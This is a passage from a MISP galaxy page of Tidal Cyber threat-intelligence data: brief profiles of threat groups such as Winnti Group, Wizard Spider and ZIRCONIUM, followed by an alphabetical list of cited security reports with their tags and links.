[Winnti Group](https://app.tidalcyber.com/groups/6932662a-53a7-4e43-877f-6e940e2d744b) is a threat group with Chinese origins that has been active since at least 2010. The group has heavily targeted the gaming industry, but it has also expanded the scope of its targeting.^{[[Kaspersky Winnti April 2013](https://app.tidalcyber.com/references/2d4834b9-61c4-478e-919a-317d97cd2c36)]}^{[[Kaspersky Winnti June 2015](https://app.tidalcyber.com/references/86504950-0f4f-42bc-b003-24f60ae97c99)]}^{[[Novetta Winnti April 2015](https://app.tidalcyber.com/references/cbe8373b-f14b-4890-99fd-35ffd7090dea)]} Some reporting suggests a number of other groups, including [Axiom](https://app.tidalcyber.com/groups/90f4d3f9-3fe3-4a64-8dc1-172c6d037dca), [APT17](https://app.tidalcyber.com/groups/5f083251-f5dc-459a-abfc-47a1aa7f5094), and [Ke3chang](https://app.tidalcyber.com/groups/26c0925f-1a3c-4df6-b27a-62b9731299b8), are closely linked to [Winnti Group]([401 TRG Winnti Umbrella May 2018 (https://app.tidalcyber.com/references/e3f1f2e4-dc1c-4d9c-925d-47013f44a69f)]</sup>

The tag is: *misp-galaxy:groups="Winnti Group"*

Winter Vivern

Winter Vivern is a group linked to Russian and Belorussian interests active since at least 2020 targeting various European government and NGO entities, along with sporadic targeting of Indian and US victims. The group leverages a combination of document-based phishing activity and server-side exploitation for initial access, leveraging adversary-controlled and -created infrastructure for follow-on command and control.<sup>[[DomainTools WinterVivern 2021](https://app.tidalcyber.com/references/5f52274f-9d02-5e3c-a1da-

48eee0804459)]</sup>^{[[SentinelOne WinterVivern 2023](https://app.tidalcyber.com/references/f1b6b3b8-2068-5d80-a318-c77aaa9417c1)]}^{[[CERT-UA WinterVivern 2023](https://app.tidalcyber.com/references/d82e5170-b9be-5a60-a2a1-8df658740639)]}^{[[ESET WinterVivern 2023](https://app.tidalcyber.com/references/7def830a-22d8-55b6-a1e5-a6a63a8bbd5a)]}^{[[Proofpoint WinterVivern 2023](https://app.tidalcyber.com/references/45f638af-ad10-566e-9e4d-49385a79022f)]}

The tag is: *misp-galaxy:groups="Winter Vivern"*

WIRTE

[WIRTE](https://app.tidalcyber.com/groups/73da066d-b25f-45ba-862b-1a69228c6baa) is a threat group that has been active since at least August 2018. [WIRTE](https://app.tidalcyber.com/groups/73da066d-b25f-45ba-862b-1a69228c6baa) has targeted government, diplomatic, financial, military, legal, and technology organizations in the Middle East and Europe.^{[[Lab52 WIRTE Apr 2019](https://app.tidalcyber.com/references/884b675e-390c-4f6d-8cb7-5d97d84115e5)]}^{[[Kaspersky WIRTE November 2021](https://app.tidalcyber.com/references/143b4694-024d-49a5-be3c-d9ceca7295b2)]}

The tag is: *misp-galaxy:groups="WIRTE"*

Wizard Spider

[Wizard Spider](https://app.tidalcyber.com/groups/0b431229-036f-4157-a1da-ff16dfc095f8) is a Russia-based financially motivated threat group originally known for the creation and deployment of [TrickBot](https://app.tidalcyber.com/software/c2bd4213-fc7b-474f-b5a0-28145b07c51d) since at least 2016. [Wizard Spider](https://app.tidalcyber.com/groups/0b431229-036f-4157-a1da-ff16dfc095f8) possesses a diverse arsenal of tools and has conducted ransomware campaigns against a variety of organizations, ranging from major corporations to hospitals.^{[[CrowdStrike Ryuk January 2019](https://app.tidalcyber.com/references/df471757-2ce0-48a7-922f-a84c57704914)]}^{[[DHS/CISA Ransomware Targeting Healthcare October 2020](https://app.tidalcyber.com/references/984e86e6-32e4-493c-8172-3d29de4720cc)]}^{[[CrowdStrike Wizard Spider October 2020](https://app.tidalcyber.com/references/5c8d67ea-63bc-4765-b6f6-49fa5210abe6)]}

The tag is: *misp-galaxy:groups="Wizard Spider"*

ZIRCONIUM

[ZIRCONIUM](https://app.tidalcyber.com/groups/5e34409e-2f55-4384-b519-80747d02394c) is a threat group operating out of China, active since at least 2017, that has targeted individuals associated with the 2020 US presidential election and prominent leaders in the international affairs community.^{[[Microsoft Targeting Elections September 2020](https://app.tidalcyber.com/references/1d7070fd-01be-4776-bb21-13368a6173b1)]}^{[[Check Point APT31 February 2021](https://app.tidalcyber.com/references/84ac99ef-106f-44e9-97f0-3eda90570932)]}

The tag is: *misp-galaxy:groups="ZIRCONIUM"*

Zloader Threat Actors

This object reflects the TTPs used by threat actors to distribute and deploy the Zloader trojan malware. Researchers have observed actors distributing Zloader in campaigns without attributing the activity to named adversaries, such as the operations described by ESET researchers cited in the References.^{[[WeLiveSecurity April 19 2022](/references/f86845b9-03c4-446b-845f-b31b79b247ee)]}

TTPs associated with Zloader binaries themselves can be found in the separate "Zloader" Software object.

The tag is: *misp-galaxy:groups="Zloader Threat Actors"*

Tidal References

Tidal References Cluster.

Tidal References is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

Tidal Cyber

D3Secutrity CTI Feeds

Banerd, W. (2019, April 30). 10 of the Best Open Source Threat Intelligence Feeds. Retrieved October 20, 2020.

The tag is: *misp-galaxy:references="D3Secutrity CTI Feeds"*

Table 19031. Table References

Links
https://d3security.com/blog/10-of-the-best-open-source-threat-intelligence-feeds/

Linux Logs

Marcel. (2018, April 19). 12 Critical Linux Log Files You Must be Monitoring. Retrieved March 29, 2020.

The tag is: *misp-galaxy:references="Linux Logs"*

Table 19032. Table References

Links
https://www.eurovps.com/blog/important-linux-log-files-you-must-be-monitoring/

Netspi PowerShell Execution Policy Bypass

Sutherland, S. (2014, September 9). 15 Ways to Bypass the PowerShell Execution Policy. Retrieved July 23, 2015.

The tag is: *misp-galaxy:references="Netspi PowerShell Execution Policy Bypass"*

Table 19033. Table References

Links
https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/

Mandiant-leaks

DANIEL KAPELLMANN ZAFRA, COREY HIDELBRANDT, NATHAN BRUBAKER, KEITH LUNDEN. (2022, January 31). 1 in 7 OT Ransomware Extortion Attacks Leak Critical Operational Technology Information. Retrieved August 18, 2023.

The tag is: *misp-galaxy:references="Mandiant-leaks"*

Table 19034. Table References

Links
https://www.mandiant.com/resources/blog/ransomware-extortion-ot-docs

Trustwave BlackByte 2021

Rodel Mendrez & Lloyd Macrohon. (2021, October 15). BlackByte Ransomware – Pt. 1 In-depth Analysis. Retrieved December 16, 2024.

The tag is: *misp-galaxy:references="Trustwave BlackByte 2021"*

Table 19035. Table References

Links
https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/blackbyte-ransomware-pt-1-in-depth-analysis/

Tilbury Windows Credentials

Chad Tilbury. (2017, August 8). 1Windows Credentials: Attack, Mitigation, Defense. Retrieved February 21, 2020.

The tag is: *misp-galaxy:references="Tilbury Windows Credentials"*

Table 19036. Table References

Links

https://www.first.org/resources/papers/conf2017/Windows-Credentials-Attacks-and-Mitigation-Techniques.pdf

CWE top 25

Christey, S., Brown, M., Kirby, D., Martin, B., Paller, A.. (2011, September 13). 2011 CWE/SANS Top 25 Most Dangerous Software Errors. Retrieved April 10, 2019.

The tag is: *misp-galaxy:references="CWE top 25"*

Table 19037. Table References

Links
https://cwe.mitre.org/top25/index.html

CrowdStrike 2015 Global Threat Report

CrowdStrike Intelligence. (2016). 2015 Global Threat Report. Retrieved April 11, 2018.

The tag is: *misp-galaxy:references="CrowdStrike 2015 Global Threat Report"*

Table 19038. Table References

Links
https://go.crowdstrike.com/rs/281-OBQ-266/images/15GlobalThreatReport.pdf

Prolific OSX Malware History

Bit9 + Carbon Black Threat Research Team. (2015). 2015: The Most Prolific Year in History for OS X Malware. Retrieved July 8, 2017.

The tag is: *misp-galaxy:references="Prolific OSX Malware History"*

Table 19039. Table References

Links
https://assets.documentcloud.org/documents/2459197/bit9-carbon-black-threat-research-report-2015.pdf

CERN Windigo June 2019

CERN. (2019, June 4). 2019/06/04 Advisory: Windigo attacks. Retrieved February 10, 2021.

The tag is: *misp-galaxy:references="CERN Windigo June 2019"*

Table 19040. Table References

Links

https://security.web.cern.ch/advisories/windigo/windigo.shtml

CrowdStrike GTR 2019

CrowdStrike. (2019, January). 2019 Global Threat Report. Retrieved June 10, 2020.

The tag is: *misp-galaxy:references="CrowdStrike GTR 2019"*

Table 19041. Table References

Links
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2019GlobalThreatReport.pdf

Crowdstrike GTR2020 Mar 2020

Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020.

The tag is: *misp-galaxy:references="Crowdstrike GTR2020 Mar 2020"*

Table 19042. Table References

Links
https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf

RecordedFuture 2021 Ad Infra

Insikt Group. (2022, January 18). 2021 Adversary Infrastructure Report. Retrieved March 25, 2022.

The tag is: *misp-galaxy:references="RecordedFuture 2021 Ad Infra"*

Table 19043. Table References

Links
https://go.recordedfuture.com/hubfs/reports/cta-2022-0118.pdf

Dragos YIR 2021

Dragos. (2022). 2021 ICS Cybersecurity Year in Review. Retrieved November 21, 2024.

The tag is: *misp-galaxy:references="Dragos YIR 2021"*

Table 19044. Table References

Links
https://hub.dragos.com/hubfs/333%20Year%20in%20Review/2021/2021%20ICS%20OT%20Cybersecurity%20Year%20In%20Review%20-%20Dragos%202021.pdf?hsLang=en

Red Canary 2021 Threat Detection Report March 2021

Red Canary. (2021, March 31). 2021 Threat Detection Report. Retrieved August 31, 2021.

The tag is: *misp-galaxy:references="Red Canary 2021 Threat Detection Report March 2021"*

Table 19045. Table References

Links
https://resource.redcanary.com/rs/003-YRU-314/images/2021-Threat-Detection-Report.pdf?mkt_tok=MDAzLVlSVS0zMTQAAAF_PIlmhNTaG2McG4X_foM-cIr20UfyB12MIQ10W0HbtMRwxGOJaD0Xj6CRTNg_S-8KniRxtf9xzhz_ACvm_TpbJAIgWCV8yIsFgbhb8cuaZA

ACSC BlackCat Apr 2022

Australian Cyber Security Centre. (2022, April 14). 2022-004: ACSC Ransomware Profile - ALPHV (aka BlackCat). Retrieved December 20, 2022.

The tag is: *misp-galaxy:references="ACSC BlackCat Apr 2022"*

Table 19046. Table References

Links
https://www.cyber.gov.au/about-us/advisories/2022-004-acsc-ransomware-profile-alphv-aka-blackcat

Crowdstrike HuntReport 2022

CrowdStrike. (2023). 2022 Falcon OverWatch Threat Hunting Report. Retrieved May 20, 2024.

The tag is: *misp-galaxy:references="Crowdstrike HuntReport 2022"*

Table 19047. Table References

Links
https://go.crowdstrike.com/rs/281-OBQ-266/images/2022OverWatchThreatHuntingReport.pdf

Internet crime report 2022

IC3. (2022). 2022 Internet Crime Report. Retrieved August 18, 2023.

The tag is: *misp-galaxy:references="Internet crime report 2022"*

Table 19048. Table References

Links
https://www.ic3.gov/Media/PDF/AnnualReport/2022_IC3Report.pdf

RC PowerShell

Red Canary. (n.d.). 2022 Threat Detection Report: PowerShell. Retrieved March 17, 2023.

The tag is: *misp-galaxy:references="RC PowerShell"*

Table 19049. Table References

Links
https://redcanary.com/threat-detection-report/techniques/powershell/

ASD Royal Ransomware January 24 2023

Australian Signals Directorate. (2023, January 24). 2023-01: ASD's ACSC Ransomware Profile - Royal. Retrieved June 28, 2024.

The tag is: *misp-galaxy:references="ASD Royal Ransomware January 24 2023"*

Table 19050. Table References

Links
https://www.cyber.gov.au/about-us/advisories/2023-01-asdacsc-ransomware-profile-royal

Palo Alto Latrodectus Activity June 2024

Unit 42. (2024, June 25). 2024-06-25-IOCs-from-Latrodectus-activity. Retrieved September 13, 2024.

The tag is: *misp-galaxy:references="Palo Alto Latrodectus Activity June 2024"*

Table 19051. Table References

Links
https://github.com/PaloAltoNetworks/Unit42-timely-threat-intel/blob/main/2024-06-25-IOCs-from-Latrodectus-activity.txt

CYJAX 2024 Year in Review January 29 2025

Jovana Macakanja. (2025, January 29). 2024 Year in Review: ransomware groups, hacktivists, and IABs targeting the Middle East. Retrieved April 9, 2025.

The tag is: *misp-galaxy:references="CYJAX 2024 Year in Review January 29 2025"*

Table 19052. Table References

Links
https://www.cyjax.com/resources/blog/2024-year-in-review-ransomware-groups-hacktivists-and-iabs-targeting-the-middle-east/

20 macOS Common Tools and Techniques

Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.

The tag is: *misp-galaxy:references="20 macOS Common Tools and Techniques"*

Table 19053. Table References

Links
https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/

Microsoft GPP Key

Microsoft. (n.d.). 2.2.1.1.4 Password Encryption. Retrieved April 11, 2018.

The tag is: *misp-galaxy:references="Microsoft GPP Key"*

Table 19054. Table References

Links
https://msdn.microsoft.com/library/cc422924.aspx

Microsoft _VBA_PROJECT Stream

Microsoft. (2020, February 19). 2.3.4.1 _VBA_PROJECT Stream: Version Dependent Project Information. Retrieved September 18, 2020.

The tag is: *misp-galaxy:references="Microsoft _VBA_PROJECT Stream"*

Table 19055. Table References

Links
https://docs.microsoft.com/en-us/openspecs/office_file_formats/ms-ovba/ef7087ac-3974-4452-aab2-7dba2214d239

Microsoft Learn

Microsoft. (2021, April 6). 2.5 ExtraData. Retrieved September 30, 2022.

The tag is: *misp-galaxy:references="Microsoft Learn"*

Table 19056. Table References

Links
https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-shllink/c41e062d-f764-4f13-bd4f-ea812ab9a4d1

Hybrid Analysis Icacls2 May 2018

Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018.

The tag is: *misp-galaxy:references="Hybrid Analysis Icacls2 May 2018"*

Table 19057. Table References

Links
https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110

Bleeping Computer 2easy 2021

Bill Toulas. (2021, December 21). 2easy now a significant dark web marketplace for stolen data. Retrieved October 7, 2024.

The tag is: *misp-galaxy:references="Bleeping Computer 2easy 2021"*

Table 19058. Table References

Links
https://www.bleepingcomputer.com/news/security/2easy-now-a-significant-dark-web-marketplace-for-stolen-data/

Microsoft Wow6432Node 2018

Microsoft. (2018, May 31). 32-bit and 64-bit Application Data in the Registry. Retrieved August 3, 2020.

The tag is: *misp-galaxy:references="Microsoft Wow6432Node 2018"*

Table 19059. Table References

Links
https://docs.microsoft.com/en-us/windows/win32/sysinfo/32-bit-and-64-bit-application-data-in-the-registry

DOJ-DPRK Heist

Department of Justice. (2021). 3 North Korean Military Hackers Indicted in Wide-Ranging Scheme to Commit Cyber-attacks and Financial Crimes Across the Globe. Retrieved August 18, 2023.

The tag is: *misp-galaxy:references="DOJ-DPRK Heist"*

Table 19060. Table References

Links

https://www.justice.gov/usao-cdca/pr/3-north-korean-military-hackers-indicted-wide-ranging-scheme-commit-cyber-attacks-and

ITWorld Hard Disk Health Dec 2014

Pinola, M. (2014, December 14). 3 tools to check your hard drive's health and make sure it's not already dying on you. Retrieved October 2, 2018.

The tag is: *misp-galaxy:references="ITWorld Hard Disk Health Dec 2014"*

Table 19061. Table References

Links
https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html

Microsoft 4657 APR 2017

Miroshnikov, A. & Hall, J. (2017, April 18). 4657(S): A registry value was modified. Retrieved August 9, 2018.

The tag is: *misp-galaxy:references="Microsoft 4657 APR 2017"*

Table 19062. Table References

Links
https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4657

Microsoft 4697 APR 2017

Miroshnikov, A. & Hall, J. (2017, April 18). 4697(S): A service was installed in the system. Retrieved August 7, 2018.

The tag is: *misp-galaxy:references="Microsoft 4697 APR 2017"*

Table 19063. Table References

Links
https://docs.microsoft.com/windows/security/threat-protection/auditing/event-4697

Microsoft User Creation Event

Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.

The tag is: *misp-galaxy:references="Microsoft User Creation Event"*

Table 19064. Table References

Links
https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720

Microsoft User Modified Event

Lich, B., Miroshnikov, A. (2017, April 5). 4738(S): A user account was changed. Retrieved June 30, 2017.

The tag is: *misp-galaxy:references="Microsoft User Modified Event"*

Table 19065. Table References

Links
https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4738

Microsoft 4768 TGT 2017

Microsoft. (2017, April 19). 4768(S, F): A Kerberos authentication ticket (TGT) was requested. Retrieved August 24, 2020.

The tag is: *misp-galaxy:references="Microsoft 4768 TGT 2017"*

Table 19066. Table References

Links
https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4768

HIPAA Journal S3 Breach, 2017

HIPAA Journal. (2017, October 11). 47GB of Medical Records and Test Results Found in Unsecured Amazon S3 Bucket. Retrieved October 4, 2019.

The tag is: *misp-galaxy:references="HIPAA Journal S3 Breach, 2017"*

Table 19067. Table References

Links
https://www.hipaajournal.com/47gb-medical-records-unsecured-amazon-s3-bucket/

Slack Security Risks

Michael Osakwe. (2020, November 18). 4 SaaS and Slack Security Risks to Consider. Retrieved March 17, 2023.

The tag is: *misp-galaxy:references="Slack Security Risks"*

Table 19068. Table References

Links
https://www.nightfall.ai/blog/saas-slack-security-risks-2020

Hijack DLLs CrowdStrike

falcon.overwatch.team. (2022, December 30). 4 Ways Adversaries Hijack DLLs — and How CrowdStrike Falcon OverWatch Fights Back. Retrieved January 30, 2025.

The tag is: *misp-galaxy:references="Hijack DLLs CrowdStrike"*

Table 19069. Table References

Links
https://www.crowdstrike.com/en-us/blog/4-ways-adversaries-hijack-dlls/

PurpleSec Data Loss Prevention

Michael Swanagan. (2020, October 24). 7 Data Loss Prevention Best Practices & Strategies. Retrieved August 30, 2021.

The tag is: *misp-galaxy:references="PurpleSec Data Loss Prevention"*

Table 19070. Table References

Links
https://purplesec.us/data-loss-prevention/

7zip Homepage

1. Pavlov. (2019). 7-Zip. Retrieved February 20, 2020.

The tag is: *misp-galaxy:references="7zip Homepage"*

Table 19071. Table References

Links
https://www.7-zip.org/

VMWare 8Base June 28 2023

Deborah Snyder, Fae Carlisle, Dana Behling, Bria Beathley. (2023, June 28). 8Base Ransomware: A Heavy Hitting Player. Retrieved August 4, 2023.

The tag is: *misp-galaxy:references="VMWare 8Base June 28 2023"*

Table 19072. Table References

Links

https://blogs.vmware.com/security/2023/06/8base-ransomware-a-heavy-hitting-player.html

Acronis 8Base July 17 2023

Acronis Security Team. (2023, July 17). 8Base ransomware stays unseen for a year. Retrieved August 4, 2023.

The tag is: *misp-galaxy:references="Acronis 8Base July 17 2023"*

Table 19073. Table References

Links
https://www.acronis.com/en-sg/cyber-protection-center/posts/8base-ransomware-stays-unseen-for-a-year/

MicroFocus 9002 Aug 2016

Petrovsky, O. (2016, August 30). “9002 RAT” — a second building on the left. Retrieved February 20, 2018.

The tag is: *misp-galaxy:references="MicroFocus 9002 Aug 2016"*

Table 19074. Table References

Links
https://community.softwaregrp.com/t5/Security-Research/9002-RAT-a-second-building-on-the-left/ba-p/228686#.WosBVKjwZPZ

CISA AA21-200A APT40 July 2021

CISA. (2021, July 19). (AA21-200A) Joint Cybersecurity Advisory – Tactics, Techniques, and Procedures of Indicted APT40 Actors Associated with China’s MSS Hainan State Security Department. Retrieved August 12, 2021.

The tag is: *misp-galaxy:references="CISA AA21-200A APT40 July 2021"*

Table 19075. Table References

Links
https://us-cert.cisa.gov/ncas/alerts/aa21-200a

CISA Iran Albanian Attacks September 2022

CISA. (2022, September 23). AA22-264A Iranian State Actors Conduct Cyber Operations Against the Government of Albania. Retrieved August 6, 2024.

The tag is: *misp-galaxy:references="CISA Iran Albanian Attacks September 2022"*

Table 19076. Table References

Links
https://www.cisa.gov/news-events/cybersecurity-advisories/aa22-264a

AADInternals

Dr. Nestori Syynimaa. (2018, October 25). AADInternals. Retrieved February 1, 2022.

The tag is: *misp-galaxy:references="AADInternals"*

Table 19077. Table References

Links
https://o365blog.com/aadinternals/

AADInternals Documentation

Dr. Nestori Syynimaa. (2018, October 25). AADInternals. Retrieved February 18, 2022.

The tag is: *misp-galaxy:references="AADInternals Documentation"*

Table 19078. Table References

Links
https://o365blog.com/aadinternals

AADInternals Github

Dr. Nestori Syynimaa. (2021, December 13). AADInternals. Retrieved February 1, 2022.

The tag is: *misp-galaxy:references="AADInternals Github"*

Table 19079. Table References

Links
https://github.com/Gerenios/AADInternals

Gigamon BADHATCH Jul 2019

Savelesky, K., et al. (2019, July 23). ABADBABE 8BADFOOD: Discovering BADHATCH and a Detailed Look at FIN8's Tooling. Retrieved September 8, 2021.

The tag is: *misp-galaxy:references="Gigamon BADHATCH Jul 2019"*

Table 19080. Table References

Links

https://blog.gigamon.com/2019/07/23/abadbabe-8badf00d-discovering-badhatch-and-a-detailed-look-at-fin8s-tooling/

bad_luck_blackcat

Kaspersky Global Research & Analysis Team (GReAT). (2022). A Bad Luck BlackCat. Retrieved May 5, 2022.

The tag is: *misp-galaxy:references="bad_luck_blackcat"*

Table 19081. Table References

Links
https://go.kaspersky.com/rs/802-IJN-240/images/TR_BlackCat_Report.pdf

Cybereason Bazar July 2020

Cybereason Nocturnus. (2020, July 16). A BAZAR OF TRICKS: FOLLOWING TEAM9'S DEVELOPMENT CYCLES. Retrieved November 18, 2020.

The tag is: *misp-galaxy:references="Cybereason Bazar July 2020"*

Table 19082. Table References

Links
https://www.cybereason.com/blog/a-bazar-of-tricks-following-team9s-development-cycles

Red Canary Hospital Thwarted Ryuk October 2020

Brian Donohue, Katie Nickels, Paul Michaud, Adina Bodkins, Taylor Chapman, Tony Lambert, Jeff Felling, Kyle Rainey, Mike Haag, Matt Graeber, Aaron Didier.. (2020, October 29). A Bazar start: How one hospital thwarted a Ryuk ransomware outbreak. Retrieved October 30, 2020.

The tag is: *misp-galaxy:references="Red Canary Hospital Thwarted Ryuk October 2020"*

Table 19083. Table References

Links
https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/

CyberCX Anonymous Sudan June 19 2023

CyberCX Intelligence. (2023, June 19). A bear in wolf's clothing: Insights into the infrastructure used by Anonymous Sudan to attack Australian organisations. Retrieved October 10, 2023.

The tag is: *misp-galaxy:references="CyberCX Anonymous Sudan June 19 2023"*

Table 19084. Table References

Links
https://cybercx.com.au/blog/a-bear-in-wolfs-clothing/

Netskope Cloud Phishing

Ashwin Vamshi. (2020, August 12). A Big Catch: Cloud Phishing from Google App Engine and Azure App Service. Retrieved August 18, 2022.

The tag is: *misp-galaxy:references="Netskope Cloud Phishing"*

Table 19085. Table References

Links
https://www.netskope.com/blog/a-big-catch-cloud-phishing-from-google-app-engine-and-azure-app-service

Elastic Abnormal Process ID or Lock File Created

Elastic. (n.d.). Abnormal Process ID or Lock File Created. Retrieved September 19, 2024.

The tag is: *misp-galaxy:references="Elastic Abnormal Process ID or Lock File Created"*

Table 19086. Table References

Links
https://www.elastic.co/guide/en/security/current/abnormal-process-id-or-lock-file-created.html

Microsoft O365 Admin Roles

Ako-Adjei, K., Dickhaus, M., Baumgartner, P., Faigel, D., et. al.. (2019, October 8). About admin roles. Retrieved October 18, 2019.

The tag is: *misp-galaxy:references="Microsoft O365 Admin Roles"*

Table 19087. Table References

Links
https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide

Microsoft Atom Table

Microsoft. (n.d.). About Atom Tables. Retrieved December 8, 2017.

The tag is: *misp-galaxy:references="Microsoft Atom Table"*

Table 19088. Table References

Links
https://msdn.microsoft.com/library/windows/desktop/ms649053.aspx

Microsoft About BITS

Microsoft. (2019, July 12). About BITS. Retrieved March 16, 2020.

The tag is: *misp-galaxy:references="Microsoft About BITS"*

Table 19089. Table References

Links
https://docs.microsoft.com/en-us/windows/win32/bits/about-bits

Microsoft About Event Tracing 2018

Microsoft. (2018, May 30). About Event Tracing. Retrieved June 7, 2019.

The tag is: *misp-galaxy:references="Microsoft About Event Tracing 2018"*

Table 19090. Table References

Links
https://docs.microsoft.com/en-us/windows/desktop/etw/consuming-events

Microsoft PowerShell Command History

Microsoft. (2020, May 13). About History. Retrieved September 4, 2020.

The tag is: *misp-galaxy:references="Microsoft PowerShell Command History"*

Table 19091. Table References

Links
https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7

Microsoft List View Controls

Microsoft. (2021, May 25). About List-View Controls. Retrieved January 4, 2022.

The tag is: *misp-galaxy:references="Microsoft List View Controls"*

Table 19092. Table References

Links
https://docs.microsoft.com/windows/win32/controls/list-view-controls-overview

Microsoft PowerShell Logging

Microsoft. (2020, March 30). about_Logging_Windows. Retrieved September 28, 2021.

The tag is: *misp-galaxy:references="Microsoft PowerShell Logging"*

Table 19093. Table References

Links
https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_logging_windows?view=powershell-7

Apple About Mac Scripting 2016

Apple. (2016, June 13). About Mac Scripting. Retrieved April 14, 2021.

The tag is: *misp-galaxy:references="Apple About Mac Scripting 2016"*

Table 19094. Table References

Links
https://developer.apple.com/library/archive/documentation/LanguagesUtilities/Conceptual/MacAutomationScriptingGuide/index.html

PowerShell About 2019

Wheeler, S. et al.. (2019, May 1). About PowerShell.exe. Retrieved October 11, 2019.

The tag is: *misp-galaxy:references="PowerShell About 2019"*

Table 19095. Table References

Links
https://docs.microsoft.com/en-us/powershell/module/Microsoft.PowerShell.Core/About/about_PowerShell_exe?view=powershell-5.1

Microsoft PowerShellB64

Microsoft. (2023, February 8). about_PowerShell_exe: EncodedCommand. Retrieved March 17, 2023.

The tag is: *misp-galaxy:references="Microsoft PowerShellB64"*

Table 19096. Table References

Links

https://learn.microsoft.com/powershell/module/microsoft.powershell.core/about/about_powershell_exe?view=powershell-5.1#-encodedcommand-base64encodedcommand

Microsoft Profiles

Microsoft. (2021, September 27). about_Profiles. Retrieved February 4, 2022.

The tag is: *misp-galaxy:references="Microsoft Profiles"*

Table 19097. Table References

Links
https://docs.microsoft.com/powershell/module/microsoft.powershell.core/about/about_profiles

Microsoft About Profiles

Microsoft. (2017, November 29). About Profiles. Retrieved June 14, 2019.

The tag is: *misp-galaxy:references="Microsoft About Profiles"*

Table 19098. Table References

Links
https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_profiles?view=powershell-6

Microsoft Remote Desktop Services

Microsoft. (2019, August 23). About Remote Desktop Services. Retrieved March 28, 2022.

The tag is: *misp-galaxy:references="Microsoft Remote Desktop Services"*

Table 19099. Table References

Links
https://docs.microsoft.com/windows/win32/termserv/about-terminal-services

systemsetup mac time

Apple Support. (n.d.). About systemsetup in Remote Desktop. Retrieved March 27, 2024.

The tag is: *misp-galaxy:references="systemsetup mac time"*

Table 19100. Table References

Links
https://support.apple.com/en-gb/guide/remote-desktop/apd95406b8d/mac

MSDN Clipboard

Microsoft. (n.d.). About the Clipboard. Retrieved March 29, 2016.

The tag is: *misp-galaxy:references="MSDN Clipboard"*

Table 19101. Table References

Links
https://msdn.microsoft.com/en-us/library/ms649012

Microsoft HTML Help Executable Program

Microsoft. (n.d.). About the HTML Help Executable Program. Retrieved October 3, 2018.

The tag is: *misp-galaxy:references="Microsoft HTML Help Executable Program"*

Table 19102. Table References

Links
https://msdn.microsoft.com/windows/desktop/ms524405

OffSec November 2 2019

OffSec Team. (2019, November 2). About the Metasploit Meterpreter - Metasploit Unleashed. Retrieved June 9, 2025.

The tag is: *misp-galaxy:references="OffSec November 2 2019"*

Table 19103. Table References

Links
https://www.offsec.com/metasploit-unleashed/about-meterpreter/

About UEFI

UEFI Forum. (n.d.). About UEFI Forum. Retrieved January 5, 2016.

The tag is: *misp-galaxy:references="About UEFI"*

Table 19104. Table References

Links
http://www.uefi.org/about

Microsoft Window Classes

Microsoft. (n.d.). About Window Classes. Retrieved December 16, 2017.

The tag is: *misp-galaxy:references="Microsoft Window Classes"*

Table 19105. Table References

Links
https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx

Picus Sodinokibi January 2020

Ozarslan, S. (2020, January 15). A Brief History of Sodinokibi. Retrieved August 5, 2020.

The tag is: *misp-galaxy:references="Picus Sodinokibi January 2020"*

Table 19106. Table References

Links
https://www.picussecurity.com/blog/a-brief-history-and-further-technical-analysis-of-sodinokibi-ransomware

Application Bundle Manipulation Brandon Dalton

Brandon Dalton. (2022, August 9). A bundle of nerves: Tweaking macOS security controls to thwart application bundle manipulation. Retrieved September 27, 2022.

The tag is: *misp-galaxy:references="Application Bundle Manipulation Brandon Dalton"*

Table 19107. Table References

Links
https://redcanary.com/blog/mac-application-bundles/

Halcyon AWS Ransomware 2025

Halcyon RISE Team. (2025, January 13). Abusing AWS Native Services: Ransomware Encrypting S3 Buckets with SSE-C. Retrieved March 18, 2025.

The tag is: *misp-galaxy:references="Halcyon AWS Ransomware 2025"*

Table 19108. Table References

Links
https://www.halcyon.ai/blog/abusing-aws-native-services-ransomware-encrypting-s3-buckets-with-sse-c

NCC Group Chimera January 2021

Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.

The tag is: *misp-galaxy:references="NCC Group Chimera January 2021"*

Table 19109. Table References

Links
https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/

Electron 2

Trend Micro. (2023, June 6). Abusing Electronbased applications in targeted attacks. Retrieved March 7, 2024.

The tag is: *misp-galaxy:references="Electron 2"*

Table 19110. Table References

Links
https://www.first.org/resources/papers/conf2023/FIRSTCON23-TLP-CLEAR-Horejsi-Abusing-Electron-Based-Applications-in-Targeted-Attacks.pdf

Harmj0y Abusing GPO Permissions

Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved September 23, 2024.

The tag is: *misp-galaxy:references="Harmj0y Abusing GPO Permissions"*

Table 19111. Table References

Links
https://blog.harmj0y.net/redteaming/abusing-gpo-permissions/

on security kerberos linux

